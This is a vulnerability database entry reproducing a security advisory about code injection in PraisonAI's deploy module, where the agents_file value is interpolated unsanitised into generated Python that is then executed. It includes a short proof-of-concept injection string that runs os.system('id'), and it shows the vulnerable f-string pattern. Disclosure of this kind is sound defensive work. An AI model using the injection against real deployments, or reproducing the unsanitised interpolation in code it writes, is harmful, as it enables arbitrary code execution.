Browse / AI Framework and Platform Flaws / CVE-2026-61444
PraisonAI: Code Injection via f-string Interpolation in Deploy API Server Generation
- Class
- AI Framework and Platform Flaws (filed by a model that read the advisory)
- Technique
- Code and command execution
- Affected
- praisonai (PyPI)
- CVSS
- CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
- EPSS
- 0.5% chance of exploitation in 30 days
How it works, in short
An unsanitised agents file value is interpolated into generated Python server code, which is then executed, so injected commands run. (Our summary, written by a model. The source text is below.)
Details
Summary
The deploy/api.py module generates Python server code by directly interpolating the agents_file parameter into an f-string that is then written to a file and executed via subprocess.Popen(). An attacker who controls the agents_file value (via CLI argument, configuration, or upstream API) can inject arbitrary Python code.
Details
src/praisonai/praisonai/deploy/api.py (line 80):
code = f'''...
praisonai = PraisonAI(agent_file="{agents_file}")
...
"agent_file": "{agents_file}"
...'''
The generated code is then executed (line 190):
subprocess.Popen(['python', server_file])
agents_file is never sanitized or validated. A malicious value breaks out of the string context:
agents_file = '"); import os; os.system("id"); #'
# Generated code becomes:
# praisonai = PraisonAI(agent_file=""); import os; os.system("id"); #")
The same pattern exists in deploy/docker.py (line 33) for Dockerfile generation.
PoC
# The injection:
agents_file = '"); import os; os.system("id"); #'
# What the generated code looks like:
template = f'praisonai = PraisonAI(agent_file="{agents_file}")'
print(template)
# Output: praisonai = PraisonAI(agent_file=""); import os; os.system("id"); #")
Impact
- Arbitrary code execution on the machine running the deploy command - Supply chain risk if agents_file comes from a configuration file or CI/CD pipeline
References
- https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-g6j7-pffp-8whg
- https://github.com/MervinPraison/PraisonAI
Source: GitHub Advisory Database, used under CC BY 4.0.